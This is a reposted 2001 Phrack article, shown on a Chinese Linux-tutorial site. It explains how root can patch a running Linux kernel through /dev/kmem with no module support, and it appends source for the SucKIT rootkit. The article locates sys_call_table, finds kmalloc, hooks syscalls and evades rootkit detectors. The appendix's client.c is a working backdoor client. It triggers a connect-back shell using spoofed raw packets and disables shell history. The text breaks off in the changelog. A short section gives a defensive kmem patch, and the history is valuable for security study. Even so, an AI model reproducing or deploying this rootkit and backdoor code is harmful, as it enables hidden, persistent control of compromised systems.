当前位置:Linux教程 - Linux - 在没有LKM时为内核打补丁。(英文)

在没有LKM时为内核打补丁。(英文)



         原标题:Linux on-the-fly kernel patching without LKM

    ==Phrack Inc.==
    Volume 0x0b, Issue 0x3a, Phile #0x07 of 0x0e
    |=----------=[ Linux on-the-fly kernel patching without LKM ]=-----------=|
    |=-----------------------------------------------------------------------=|
    |=---------------=[ sd <[email protected]>, devik <[email protected]> ]=---------------=|
    |=----------------------=[ December 12th 2001 ]=-------------------------=|
    --[ Contents
    1 - Introduction
    2 - /dev/kmem is our friend
    3 - Replacing kernel syscalls, sys_call_table[]
    3.1 - How to get sys_call_table[] without LKM ?
    3.2 - Redirecting int 0x80 call sys_call_table[eax] dispatch
    4 - Allocating kernel space without help of LKM support
    4.1 - Searching kmalloc() using LKM support
    4.2 - pattern search of kmalloc()
    4.3 - The GFP_KERNEL value
    4.4 - Overwriting a syscall
    5 - What you should take care of
    6 - Possible solutions
    7 - Conclusion
    8 - References
    9 - Appendix: SucKIT: The implementation
    --[ 1 - Introduction
    In the beginning, we must thank Silvio Cesare, who developed the
    technique of kernel patching a long time ago, most of ideas was stolen
    from him.
    In this paper, we will discuss way of abusing the Linux kernel
    (syscalls mostly) without help of module support or System.map at all,
    so that we assume that the reader will have a clue about what LKM is,
    how a LKM is loaded into kernel etc. If you are not sure, look at some
    documentation (paragraph 6. [1], [2], [3])
    Imagine a scenario of a poor man which needs to change some interesting
    linux syscall and LKM support is not compiled in. Imagine he have got a
    box, he got root but the admin is so paranoid and he (or tripwire) don't
    poor man's patched sshd and that box have not gcc/lib/.h
    needed for compiling of his favourite LKM rootkit. So there are
    some solutions, step by step and as an appendix, a full-featured
    linux-ia32 rootkit, an example/tool, which implements all the techinques
    described here.
    Most of things described there (such as syscalls, memory addressing
    schemes ... code too) can work only on ia32 architecture. If someone
    investigate(d) to other architectures, please contact us.
    --[ 2 - /dev/kmem is our friend
    "Mem is a character device file that is an image of the main memory of
    the computer. It may be used, for example, to examine (and even patch)
    the system."
    -- from the Linux 'mem' man page
    For full and complex documentation about run-time kernel patching take a
    look at excellent Silvio's article about this subject [2].
    Just in short:
    Everything we do in this paper with kernel space is done using the
    standard linux device, /dev/kmem. Since this device is mostly +rw only for
    root, you must be root too if you want to abuse it.
    Note that changing of /dev/kmem permission to gain access is not
    sufficient. After /dev/kmem access is allowed by VFS then there is second
    check in device/char/mem.c for capable(CAP_SYS_RAWIO) of process.
    We should also note that there is another device, /dev/mem.
    It is physical memory before VM translation. It might be possible to use it
    if we were know page directory location. We didn't investigate this
    possibility.
    Selecting address is done through lseek(), reading using read() and
    writing with help of write() ... simple.
    There are some helpful functions for working with kernel stuff:
    /* read data from kmem */
    static inline int rkm(int fd, int offset, void *buf, int size)
    {
    if (lseek(fd, offset, 0) != offset) return 0;
    if (read(fd, buf, size) != size) return 0;
    return size;
    }
    /* write data to kmem */
    static inline int wkm(int fd, int offset, void *buf, int size)
    {
    if (lseek(fd, offset, 0) != offset) return 0;
    if (write(fd, buf, size) != size) return 0;
    return size;
    }
    /* read int from kmem */
    static inline int rkml(int fd, int offset, ulong *buf)
    {
    return rkm(fd, offset, buf, sizeof(ulong));
    }
    /* write int to kmem */
    static inline int wkml(int fd, int offset, ulong buf)
    {
    return wkm(fd, offset, &buf, sizeof(ulong));
    }
    --[ 3 - Replacing kernel syscalls, sys_call_table[]
    As we all know, syscalls are the lowest level of system functions (from
    viewpoint of userspace) in Linux, so we'll be interested mostly in them.
    Syscalls are grouped together in one big table (sct), it is just a
    one-dimension array of 256 ulongs (=pointers, on ia32 architecture),
    where indexing the array by a syscall number gives us the entrypoint of
    given syscall. That's it.
    An example pseudocode:
    /* as everywhere, "Hello world" is good for begginers ;-) */
    /* our saved original syscall */
    int (*old_write) (int, char *, int);
    /* new syscall handler */
    new_write(int fd, char *buf, int count) {
    if (fd == 1) { /* stdout ? */
    old_write(fd, "Hello world!\n", 13);
    return count;
    } else {
    return old_write(fd, buf, count);
    }
    }
    old_write = (void *) sys_call_table[__NR_write]; /* save old */
    sys_call_table[__NR_write] = (ulong) new_write; /* setup new one */
    /* Err... there should be better things to do instead fucking up console
    with "Hello worlds" ;) */
    This is the classic scenario of a various LKM rootkits (see paragraph 7),
    tty sniffers/hijackers (the halflife's one, f.e. [4]) where it is guaranted
    that we can import sys_call_table[] and manipulate it in a correct manner,
    i.e. it is simply "imported" by /sbin/insmod
    [ using create_module() / init_module() ]
    Uhh, let's stop talking about nothing, we think this is clear enough for
    everybody.
    --[ 3.1 - How to get sys_call_table[] without LKM
    At first, note that the Linux kernel _doesn not keep_ any kinda of
    information about it's symbols in case when there is no LKM support
    compiled in. It is rather a clever decision because why could someone need
    it without LKM ? For debugging ? You have System.map instead. Well WE need
    it :) With LKM support there are symbols intended to be imported into LKMs
    (in their special linker section), but we said without LKM, right ?
    As far we know, the most elegant way how to obtain sys_call_table[] is:
    #include <stdio.h>
    #include <sys/types.h>
    #include <sys/stat.h>
    #include <fcntl.h>
    struct {
    unsigned short limit;
    unsigned int base;
    } __attribute__ ((packed)) idtr;
    struct {
    unsigned short off1;
    unsigned short sel;
    unsigned char none,flags;
    unsigned short off2;
    } __attribute__ ((packed)) idt;
    int kmem;
    void readkmem (void *m,unsigned off,int sz)
    {
    if (lseek(kmem,off,SEEK_SET)!=off) {
    perror("kmem lseek"); exit(2);
    }
    if (read(kmem,m,sz)!=sz) {
    perror("kmem read"); exit(2);
    }
    }
    #define CALLOFF 100 /* we'll read first 100 bytes of int $0x80*/
    main ()
    {
    unsigned sys_call_off;
    unsigned sct;
    char sc_asm[CALLOFF],*p;
    /* well let's read IDTR */
    asm ("sidt %0" : "=m" (idtr));
    printf("idtr base at 0x%X\n",(int)idtr.base);
    /* now we will open kmem */
    kmem = open ("/dev/kmem",O_RDONLY);
    if (kmem<0) return 1;
    /* read-in IDT for 0x80 vector (syscall) */
    readkmem (&idt,idtr.base+8*0x80,sizeof(idt));
    sys_call_off = (idt.off2 << 16) | idt.off1;
    printf("idt80: flags=%X sel=%X off=%X\n",
    (unsigned)idt.flags,(unsigned)idt.sel,sys_call_off);
    /* we have syscall routine address now, look for syscall table
    dispatch (indirect call) */
    readkmem (sc_asm,sys_call_off,CALLOFF);
    p = (char*)memmem (sc_asm,CALLOFF,"\xff\x14\x85",3);
    sct = *(unsigned*)(p+3);
    if (p) {
    printf ("sys_call_table at 0x%x, call dispatch at 0x%x\n",
    sct, p);
    }
    close(kmem);
    }
    How it works ? The sidt instruction "asks the processor" for the interrupt
    descriptor table [asm ("sidt %0" : "=m" (idtr));], from
    this structure we will get a pointer to the interrupt descriptor of
    int $0x80 [readkmem (&idt,idtr.base+8*0x80,sizeof(idt));].
    >From the IDT we can compute the address of int $0x80's entrypoint
    [sys_call_off = (idt.off2 << 16) | idt.off1;]
    Good, we know where int $0x80 began, but that is not our loved
    sys_call_table[]. Let's take a look at the int $0x80 entrypoint:
    [sd@pikatchu linux]$ gdb -q /usr/src/linux/vmlinux
    (no debugging symbols found)...(gdb) disass system_call
    Dump of assembler code for function system_call:
    0xc0106bc8 <system_call>: push %eax
    0xc0106bc9 <system_call+1>: cld
    0xc0106bca <system_call+2>: push %es
    0xc0106bcb <system_call+3>: push %ds
    0xc0106bcc <system_call+4>: push %eax
    0xc0106bcd <system_call+5>: push %ebp
    0xc0106bce <system_call+6>: push %edi
    0xc0106bcf <system_call+7>: push %esi
    0xc0106bd0 <system_call+8>: push %edx
    0xc0106bd1 <system_call+9>: push %ecx
    0xc0106bd2 <system_call+10>: push %ebx
    0xc0106bd3 <system_call+11>: mov $0x18,%edx
    0xc0106bd8 <system_call+16>: mov %edx,%ds
    0xc0106bda <system_call+18>: mov %edx,%es
    0xc0106bdc <system_call+20>: mov $0xffffe000,%ebx
    0xc0106be1 <system_call+25>: and %esp,%ebx
    0xc0106be3 <system_call+27>: cmp $0x100,%eax
    0xc0106be8 <system_call+32>: jae 0xc0106c75 <badsys>
    0xc0106bee <system_call+38>: testb $0x2,0x18(%ebx)
    0xc0106bf2 <system_call+42>: jne 0xc0106c48 <tracesys>
    0xc0106bf4 <system_call+44>: call *0xc01e0f18(,%eax,4) <-- that's it
    0xc0106bfb <system_call+51>: mov %eax,0x18(%esp,1)
    0xc0106bff <system_call+55>: nop
    End of assembler dump.
    (gdb) print &sys_call_table
    $1 = (<data variable, no debug info> *) 0xc01e0f18 <-- see ? it's same
    (gdb) x/xw (system_call+44)
    0xc0106bf4 <system_call+44>: 0x188514ff <-- opcode (little endian)
    (gdb)
    In short, near to beginning of int $0x80 entrypoint is
    'call sys_call_table(,eax,4)' opcode, because this indirect call does not
    vary between kernel versions (it is same on 2.0.10 => 2.4.10), it's
    relatively safe to search just for pattern of 'call <something>(,eax,4)'
    opcode = 0xff 0x14 0x85 0x<address_of_table>
    [memmem (sc_asm,CALLOFF,"\xff\x14\x85",3);]
    Being paranoid, one could do a more robust hack. Simply redirect whole
    int $0x80 handler in IDT to our fake handler and intercept interesting
    calls here. It is a bit more complicated as we would have to handle
    reentrancy ...
    At this time, we know where sys_call_table[] is and we can change the
    address of some syscalls:
    Pseudocode:
    readkmem(&old_write, sct + __NR_write * 4, 4); /* save old */
    writekmem(new_write, sct + __NR_write * 4, 4); /* set new */
    --[ 3.2 - Redirecting int $0x80 call sys_call_table[eax] dispatch
    When writing this article, we found some "rootkit detectors"
    on Packetstorm/Freshmeat. They are able to detect the fact that
    something is wrong with a LKM/syscalltable/other kernel
    stuff...fortunately, most of them are too stupid and can be simply
    fooled by the the trick introduced in [6] by SpaceWalker:
    Pseudocode:
    ulong sct = addr of sys_call_table[]
    char *p = ptr to int 0x80's call sct(,eax,4) - dispatch
    ulong nsct[256] = new syscall table with modified entries
    readkmem(nsct, sct, 1024); /* read old */
    old_write = nsct[__NR_write];
    nsct[__NR_write] = new_write;
    /* replace dispatch to our new sct */
    writekmem((ulong) p+3, nsct, 4);
    /* Note that this code never can work, because you can't
    redirect something kernel related to userspace, such as
    sct[] in this case */
    Background:
    We create a copy of the original sys_call_table[] [readkmem(nsct, sct,
    1024);], then we will modify entries which we're interested in [old_write =
    nsct[__NR_write]; nsct[__NR_write] = new_write;] and then change _only_
    addr of <something> in the call <something>(,eax,4):
    0xc0106bf4 <system_call+44>: call *0xc01e0f18(,%eax,4)
    ~~~~|~~~~~
    |__ Here will be address of
    _our_ sct[]
    LKM detectors (which does not check consistency of int $0x80) won't see
    anything, sys_call_table[] is the same, but int $0x80 uses our implanted
    table.
    --[ 4 - Allocating kernel space without help of LKM support
    Next thing that we need is a memory page above the 0xc0000000
    (or 0x80000000) address.
    The 0xc0000000 value is demarcation point between user and kernel memory.
    User processes have not access above the limit. Take into account
    that this value is not exact, and may be different, so it is good idea
    to figure out the limit on the fly (from int $0x80's entrypoint).
    Well, how to get our page above the limit ? Let's take a look how regular
    kernel LKM support does it (/usr/src/linux/kernel/module.c):
    ...
    void inter_module_register(const char *im_name, struct module *owner,
    const void *userdata)
    {
    struct list_head *tmp;
    struct inter_module_entry *ime, *ime_new;
    if (!(ime_new = kmalloc(sizeof(*ime), GFP_KERNEL))) {
    /* Overloaded kernel, not fatal */
    ...
    As we expected, they used kmalloc(size, GFP_KERNEL) ! But we can't use
    kmalloc() yet because:
    - We don't know the address of kmalloc() [ paragraph 4.1, 4.2 ]
    - We don't know the value of GFP_KERNEL [ paragraph 4.3 ]
    - We can't call kmalloc() from user-space [ paragraph 4.4 ]
    --[ 4.1 - Searching for kmalloc() using LKM support
    If we can use LKM support:
    /* kmalloc() lookup */
    /* simplest & safest way, but only if LKM support is there */
    ulong get_sym(char *n) {
    struct kernel_sym tab[MAX_SYMS];
    int numsyms;
    int i;
    numsyms = get_kernel_syms(NULL);
    if (numsyms > MAX_SYMS || numsyms < 0) return 0;
    get_kernel_syms(tab);
    for (i = 0; i < numsyms; i++) {
    if (!strncmp(n, tab[i].name, strlen(n)))
    return tab[i].value;
    }
    return 0;
    }
    ulong get_kma(ulong pgoff)
    {
    ret = get_sym("kmalloc");
    if (ret) return ret;
    return 0;
    }
    We leave this without comments.
    --[ 4.2 - pattern search of kmalloc()
    But if LKM is not there, were getting into troubles. The solution
    is quite dirty, and not-so-good by the way, but it seem to work.
    We'll walk through kernel's .text section and look for patterns such as:
    push GFP_KERNEL <something between 0-0xffff>
    push size <something between 0-0x1ffff>
    call kmalloc
    All info will be gathered into a table, sorted and the function called most
    times will be our kmalloc(), here is code:
    /* kmalloc() lookup */
    #define RNUM 1024
    ulong get_kma(ulong pgoff)
    {
    struct { uint a,f,cnt; } rtab[RNUM], *t;
    uint i, a, j, push1, push2;
    uint found = 0, total = 0;
    uchar buf[0x10010], *p;
    int kmem;
    ulong ret;
    /* uhh, before we try to brute something, attempt to do things
    in the *right* way ;)) */
    ret = get_sym("kmalloc");
    if (ret) return ret;
    /* humm, no way ;)) */
    kmem = open(KMEM_FILE, O_RDONLY, 0);
    if (kmem < 0) return 0;
    for (i = (pgoff + 0x100000); i < (pgoff + 0x1000000);
    i += 0x10000) {
    if (!loc_rkm(kmem, buf, i, sizeof(buf))) return 0;
    /* loop over memory block looking for push and calls */
    for (p = buf; p < buf + 0x10000;) {
    switch (*p++) {
    case 0x68:
    push1 = push2;
    push2 = *(unsigned*)p;
    p += 4;
    continue;
    case 0x6a:
    push1 = push2;
    push2 = *p++;
    continue;
    case 0xe8:
    if (push1 && push2 &&
    push1 <= 0xffff &&
    push2 <= 0x1ffff) break;
    default:
    push1 = push2 = 0;
    continue;
    }
    /* we have push1/push2/call seq; get address */
    a = *(unsigned *) p + i + (p - buf) + 4;
    p += 4;
    total++;
    /* find in table */
    for (j = 0, t = rtab; j < found; j++, t++)
    if (t->a == a && t->f == push1) break;
    if (j < found)
    t->cnt++;
    else
    if (found >= RNUM) {
    return 0;
    }
    else {
    found++;
    t->a = a;
    t->f = push1;
    t->cnt = 1;
    }
    push1 = push2 = 0;
    } /* for (p = buf; ... */
    } /* for (i = (pgoff + 0x100000) ...*/
    close(kmem);
    t = NULL;
    for (j = 0;j < found; j++) /* find a winner */
    if (!t || rtab[j].cnt > t->cnt) t = rtab+j;
    if (t) return t->a;
    return 0;
    }
    The code above is a simple state machine and it doesn't bother itself with
    potentionaly different asm code layout (when you use some exotic GCC
    options). It could be extended to understand different code patterns (see
    switch statement) and can be made more accurate by checking GFP value in
    PUSHes against known patterns (see paragraph bellow).
    The accuracy of this code is about 80% (i.e. 80% points to kmalloc, 20% to
    some junk) and seem to work on 2.2.1 => 2.4.13 ok.
    --[ 4.3 The GFP_KERNEL value
    Next problem we get while using kmalloc() is the fact that value of
    GFP_KERNEL varies between kernel series, but we can get rid of it
    by help of uname()
    +-----------------------------------+
    | kernel version | GFP_KERNEL value |
    +----------------+------------------+
    | 1.0.x .. 2.4.5 | 0x3 |
    +----------------+------------------+
    | 2.4.6 .. 2.4.x | 0x1f0 |
    +----------------+------------------+
    Note that there is some troubles with 2.4.7-2.4.9 kernels, which
    sometimes crashes due to bad GFP_KERNEL, simply because
    the table above is not exact, it only shows values we CAN use.
    The code:
    #define NEW_GFP 0x1f0
    #define OLD_GFP 0x3
    /* uname struc */
    struct un {
    char sysname[65];
    char nodename[65];
    char release[65];
    char version[65];
    char machine[65];
    char domainname[65];
    };
    int get_gfp()
    {
    struct un s;
    uname(&s);
    if ((s.release[0] == '2') && (s.release[2] == '4') &&
    (s.release[4] >= '6' ||
    (s.release[5] >= '0' && s.release[5] <= '9'))) {
    return NEW_GFP;
    }
    return OLD_GFP;
    }
    --[ 4.3 - Overwriting a syscall
    As we mentioned above, we can't call kmalloc() from user-space directly,
    solution is Silvio's trick [2] of replacing syscall:
    1. Get address of some syscall
    (IDT -> int 0x80 -> sys_call_table)
    2. Create a small routine which will call kmalloc() and return
    pointer to allocated page
    3. Save sizeof(our_routine) bytes of some syscall
    4. Overwrite code of some syscall by our routine
    5. Call this syscall from userspace thru int $0x80, so
    our routine will operate in kernel context and
    can call kmalloc() for us passing out the
    address of allocated memory as return value.
    6. Restore code of some syscall with saved bytes (in step 3.)
    our_routine may look as something like that:
    struct kma_struc {
    ulong (*kmalloc) (uint, int);
    int size;
    int flags;
    ulong mem;
    } __attribute__ ((packed));
    int our_routine(struct kma_struc *k)
    {
    k->mem = k->kmalloc(k->size, k->flags);
    return 0;
    }
    In this case we directly pass needed info to our routine.
    Now we have kernel memory, so we can copy our handling routines
    there, point entries in fake sys_call_table to them, infiltrate
    this fake table into int $0x80 and enjoy the ride :)
    --[ 5 - What you should take care of
    It would be good idea to follow these rules when writing something using
    this technique:
    - Take care of kernel versions (We mean GFP_KERNEL).
    - Play _only_ with syscalls, _do not_ use any internal kernel
    structures including task_struct, if you want to stay portable
    between kernel series.
    - SMP may cause some troubles, remember to take care
    about reentrantcy and where it is needed, use
    user-space locks [ src/core.c#ualloc() ]
    --[ 6 - Possible solutions
    Okay, now from the good man's point of view. You probably would
    like to defeat attacks of kids using such annoying toys. Then you
    should apply following kmem read-only patch and disable LKM
    support in your kernel.
    <++> kmem-ro.diff
    --- /usr/src/linux/drivers/char/mem.c Mon Apr 9 13:19:05 2001
    +++ /usr/src/linux/drivers/char/mem.c Sun Nov 4 15:50:27 2001
    @@ -49,6 +51,8 @@
    const char * buf, size_t count, loff_t *ppos)
    {
    ssize_t written;
    + /* disable kmem write */
    + return -EPERM;
    written = 0;
    #if defined(__sparc__) || defined(__mc68000__)
    <-->
    Note that this patch can be source of troubles in conjuction with
    some old utilities which depends on /dev/kmem writing ability.
    That's payment for security.
    --[ 7 - Conclusion
    The raw memory I/O devices in linux seems to be pretty powerful.
    Attackers (of course, with root privileges) can use them
    to hide their actions, steal informations, grant remote access and so on
    for a long time without being noticed. As far we know, there is not so
    big use of these devices (in the meaning of write access), so it may be
    good idea to disable their writing ability.
    --[ 8 - References
    [1] Silvio Cesare's homepage, pretty good info about low-level linux stuff
    [http://www.big.net.au/~silvio]
    [2] Silvio's article describing run-time kernel patching (System.map)
    [http://www.big.net.au/~silvio/runtime-kernel-kmem-patching.txt]
    [3] QuantumG's homepage, mostly virus related stuff
    [http://biodome.org/~qg]
    [4] "Abuse of the Linux Kernel for Fun and Profit" by halflife
    [Phrack issue 50, article 05]
    [5] "(nearly) Complete Linux Loadable Kernel Modules. The definitive guide
    for hackers, virus coders and system administrators."
    [http://www.thehackerschoice.com/papers]
    At the end, I (sd) would like to thank to devik for helping me a lot with
    this crap, to Reaction for common spelling checks and to anonymous
    editor's friend which proved the quality of article a lot.
    --[ 9 - Appendix - SucKIT: The implementation
    I'm sure that you are smart enough, so you know how to extract, install and
    use these files.
    [MORONS HINT: Try Phrack extraction utility, ./doc/README]
    ATTENTION: This is a full-working rootkit as an example of the technique
    described above, the author doesn't take ANY RESPONSIBILITY for
    any damage caused by (mis)use of this software.
    <++> ./client/Makefile
    client: client.c
    $(CC) $(CFLAGS) -I../include client.c -o client
    clean:
    rm -f client core
    <--> ./client/Makefile
    <++> ./client/client.c
    /* $Id: client.c, TTY client for our backdoor, see src/bd.c */
    #include <sys/wait.h>
    #include <sys/types.h>
    #include <sys/resource.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <signal.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <string.h>
    #include <fcntl.h>
    #include <netinet/tcp.h>
    #include <netinet/ip.h>
    #include <netinet/in.h>
    #include <sys/ioctl.h>
    #include <sys/types.h>
    #include <net/if.h>
    #include <netdb.h>
    #include <arpa/inet.h>
    #include <termios.h>
    #include <errno.h>
    #include <string.h>
    #define DEST_PORT 80
    /* retry timeout, 15 secs works fine,
    try lower values on slower networks */
    #define RETRY 15
    #include "ip.h"
    int winsize;
    char *envtab[] =
    {
    "",
    "",
    "LOGNAME=shitdown",
    "USERNAME=shitdown",
    "USER=shitdown",
    "PS1=[rewt@\\h \\W]\\$ ",
    "HISTFILE=/dev/null",
    "PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:"
    "/usr/local/sbin:/usr/X11R6/bin:./bin",
    "!TERM",
    NULL
    };
    int sendenv(int sock)
    {
    struct winsize ws;
    #define ENVLEN 256
    char envbuf[ENVLEN+1];
    char buf1[256];
    char buf2[256];
    int i = 0;
    ioctl(0, TIOCGWINSZ, &ws);
    sprintf(buf1, "COLUMNS=%d", ws.ws_col);
    sprintf(buf2, "LINES=%d", ws.ws_row);
    envtab[0] = buf1; envtab[1] = buf2;
    while (envtab[i]) {
    bzero(envbuf, ENVLEN);
    if (envtab[i][0] == '!') {
    char *env;
    env = getenv(&envtab[i][1]);
    if (!env) goto oops;
    sprintf(envbuf, "%s=%s", &envtab[i][1], env);
    } else {
    strncpy(envbuf, envtab[i], ENVLEN);
    }
    if (write(sock, envbuf, ENVLEN) < ENVLEN) return 0;
    oops:
    i++;
    }
    return write(sock, "\n", 1);
    }
    void winch(int i)
    {
    signal(SIGWINCH, winch);
    winsize++;
    }
    void sig_child(int i)
    {
    waitpid(-1, NULL, WNOHANG);
    }
    int usage(char *s)
    {
    printf(
    "Usage:\n"
    "\t%s <host> [source_addr] [source_port]\n\n"
    ,s);
    return 1;
    }
    ulong resolve(char *s)
    {
    struct hostent *he;
    struct sockaddr_in si;
    /* resolve host */
    bzero((char *) &si, sizeof(si));
    si.sin_addr.s_addr = inet_addr(s);
    if (si.sin_addr.s_addr == INADDR_NONE) {
    printf("Looking up %s...", s); fflush(stdout);
    he = gethostbyname(s);
    if (!he) {
    printf("Failed!\n");
    return INADDR_NONE;
    }
    memcpy((char *) &si.sin_addr, (char *) he->h_addr,
    sizeof(si.sin_addr));
    printf("OK\n");
    }
    return si.sin_addr.s_addr;
    }
    int raw_send(struct rawdata *d, ulong tfrom, ushort sport, ulong to,
    ushort dport)
    {
    int raw_sock;
    int hincl = 1;
    struct sockaddr_in from;
    struct ippkt packet;
    struct pseudohdr psd;
    int err;
    char tosum[sizeof(psd) + sizeof(packet.tcp)];
    raw_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
    if (raw_sock < 0) {
    perror("socket");
    return 0;
    }
    if (setsockopt(raw_sock, IPPROTO_IP,
    IP_HDRINCL, &hincl, sizeof(hincl)) < 0) {
    perror("socket");
    close(raw_sock);
    return 0;
    }
    bzero((char *) &packet, sizeof(packet));
    from.sin_addr.s_addr = to;
    from.sin_family = AF_INET;
    /* setup IP header */
    packet.ip.ip_len = sizeof(struct ip) +
    sizeof(struct tcphdr) + 12 +
    sizeof(struct rawdata);
    packet.ip.ip_hl = sizeof(packet.ip) >> 2;
    packet.ip.ip_v = 4;
    packet.ip.ip_ttl = 255;
    packet.ip.ip_tos = 0;
    packet.ip.ip_off = 0;
    packet.ip.ip_id = htons((int) rand());
    packet.ip.ip_p = 6;
    packet.ip.ip_src.s_addr = tfrom; /* www.microsoft.com :) */
    packet.ip.ip_dst.s_addr = to;
    packet.ip.ip_sum = in_chksum((u_short *) &packet.ip,
    sizeof(struct ip));
    /* tcp header */
    packet.tcp.source = sport;
    packet.tcp.dest = dport;
    packet.tcp.seq = 666;
    packet.tcp.ack = 0;
    packet.tcp.urg = 0;
    packet.tcp.window = 1234;
    packet.tcp.urg_ptr = 1234;
    memcpy(packet.data, (char *) d, sizeof(struct rawdata));
    /* pseudoheader */
    memcpy(&psd.saddr, &packet.ip.ip_src.s_addr, 4);
    memcpy(&psd.daddr, &packet.ip.ip_dst.s_addr, 4);
    psd.protocol = 6;
    psd.lenght = htons(sizeof(struct tcphdr) + 12 +
    sizeof(struct rawdata));
    memcpy(tosum, &psd, sizeof(psd));
    memcpy(tosum + sizeof(psd), &packet.tcp, sizeof(packet.tcp));
    packet.tcp.check = in_chksum((u_short *) &tosum, sizeof(tosum));
    /* send that fuckin' stuff */
    err = sendto(raw_sock, &packet, sizeof(struct ip) +
    sizeof(struct iphdr) + 12 +
    sizeof(struct rawdata),
    0, (struct sockaddr *) &from,
    sizeof(struct sockaddr));
    if (err < 0) {
    perror("sendto");
    close(raw_sock);
    return 0;
    }
    close(raw_sock);
    return 1;
    }
    #define BUF 16384
    int main(int argc, char *argv[])
    {
    ulong serv;
    ulong saddr;
    ushort sport = htons(80);
    char hostname[1024];
    struct rawdata data;
    int sock;
    int pid;
    struct sockaddr_in peer;
    struct sockaddr_in srv;
    int slen = sizeof(srv);
    int ss;
    char pwd[256];
    int i;
    struct termios old, new;
    unsigned char buf[BUF];
    fd_set fds;
    struct winsize ws;
    /* input checks */
    if (argc < 2) return usage(argv[0]);
    serv = resolve(argv[1]);
    if (!serv) return 1;
    if (argc >= 3) {
    saddr = resolve(argv[2]);
    if (!saddr) return 1;
    } else {
    if (gethostname(hostname, sizeof(hostname)) < 0) {
    perror("gethostname");
    return 1;
    }
    saddr = resolve(hostname);
    if (!saddr) return 1;
    }
    if (argc == 4) {
    int i;
    if (sscanf(argv[3], "%u", &i) != 1)
    return usage(argv[0]);
    sport = htons(i);
    }
    peer.sin_addr.s_addr = serv;
    printf("Trying %s...", inet_ntoa(peer.sin_addr)); fflush(stdout);
    sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if (sock < 0) {
    perror("socket");
    return 1;
    }
    bzero((char *) &peer, sizeof(peer));
    peer.sin_family = AF_INET;
    peer.sin_addr.s_addr = htonl(INADDR_ANY);
    peer.sin_port = 0;
    if (bind(sock, (struct sockaddr *) &peer, sizeof(peer)) < 0) {
    perror("bind");
    return 1;
    }
    if (listen(sock, 1) < 0) {
    perror("listen");
    return 1;
    }
    pid = fork();
    if (pid < 0) {
    perror("fork");
    return 1;
    }
    /* child ? */
    if (pid == 0) {
    int plen = sizeof(peer);
    if (getsockname(sock, (struct sockaddr *) &peer,
    &plen) < 0) {
    exit(0);
    }
    data.ip = saddr;
    data.port = peer.sin_port;
    data.id = RAWID;
    while (1) {
    int i;
    if (!raw_send(&data, saddr, sport, serv,
    htons(DEST_PORT))) {
    exit(0);
    }
    for (i = 0; i < RETRY; i++) {
    printf("."); fflush(stdout);
    sleep(1);
    }
    }
    }
    signal(SIGCHLD, sig_child);
    ss = accept(sock, (struct sockaddr *) &srv, &slen);
    if (ss < 0) {
    perror("Network error");
    kill(pid, SIGKILL);
    exit(1);
    }
    kill(pid, SIGKILL);
    close(sock);
    printf("\nChallenging %s\n", argv[1]);
    /* set-up terminal */
    tcgetattr(0, &old);
    new = old;
    new.c_lflag &= ~(ICANON | ECHO | ISIG);
    new.c_iflag &= ~(IXON | IXOFF);
    tcsetattr(0, TCSAFLUSH, &new);
    printf(
    "Connected to %s.\n"
    "Escape character is '^K'\n", argv[1]);
    printf("Password:"); fflush(stdout);
    bzero(pwd, sizeof(pwd));
    i = 0;
    while (1) {
    if (read(0, &pwd[i], 1) <= 0) break;
    if (pwd[i] == ECHAR) {
    printf("Interrupted!\n");
    tcsetattr(0, TCSAFLUSH, &old);
    return 0;
    }
    if (pwd[i] == '\n') break;
    i++;
    }
    pwd[i] = 0;
    write(ss, pwd, sizeof(pwd));
    printf("\n");
    if (sendenv(ss) <= 0) {
    perror("Failed");
    tcsetattr(0, TCSAFLUSH, &old);
    return 1;
    }
    /* everything seems to be OK, so let's go ;) */
    winch(0);
    while (1) {
    FD_ZERO(&fds);
    FD_SET(0, &fds);
    FD_SET(ss, &fds);
    if (winsize) {
    if (ioctl(0, TIOCGWINSZ, &ws) == 0) {
    buf[0] = ECHAR;
    buf[1] = (ws.ws_col >> 8) & 0xFF;
    buf[2] = ws.ws_col & 0xFF;
    buf[3] = (ws.ws_row >> 8) & 0xFF;
    buf[4] = ws.ws_row & 0xFF;
    write(ss, buf, 5);
    }
    winsize = 0;
    }
    if (select(ss+1, &fds, NULL, NULL, NULL) < 0) {
    if (errno == EINTR) continue;
    break;
    }
    if (winsize) continue;
    if (FD_ISSET(0, &fds)) {
    int count = read(0, buf, BUF);
    // int i;
    if (count <= 0) break;
    if (memchr(buf, ECHAR, count)) {
    printf("Interrupted!\n");
    break;
    }
    if (write(ss, buf, count) <= 0) break;
    }
    if (FD_ISSET(ss, &fds)) {
    int count = read(ss, buf, BUF);
    if (count <= 0) break;
    if (write(0, buf, count) <= 0) break;
    }
    }
    close(sock);
    tcsetattr(0, TCSAFLUSH, &old);
    printf("\nConnection closed.\n");
    return 0;
    }
    <--> ./client/client.c
    <++> ./doc/LICENSE
    * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
    * SUCKIT v1.1c - New, singing, dancing, world-smashing rewtkit *
    * (c)oded by [email protected] & [email protected], 2001 *
    * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
    This program is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation; either version 2 of the License, or
    (at your option) any later version.
    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
    GNU General Public License for more details.
    <--> ./doc/LICENSE
    <++> ./doc/CHANGES
    Development history:
    Version 1.1c:
    - disabled flow control in client, escape char changed to ^K
    Version 1.1b:
    - fixed GFP_KERNEL bug with segfaulting on 2.4.0 - 2.4.5 kernels
    Version 1.1a:
    - makefile, added SIGWINCH support + autentification of remote
    user (but still in plain text ;( )
    Version 1.0d:
    - added connect-back bindshell, with TTY/PTY support !
    filtering out invisible pids, connections and philes ;)
    Version 1.0c:
    - only one thing we're doing at this time, is to change one letter
    in output of uname()
    Version 1.0b:
    - first working version of new code, relocations made directly
    from .o, as far i know, everything works on 2.4.x smoothly,
    just add some good old features...
    Added (read: stolen) linus' string.c and vsprintf.c in order to
    make coding more user-phriendly ;)
    Version 1.0a:
    - [email protected] discovered that `sidt` works on linux ... so we can
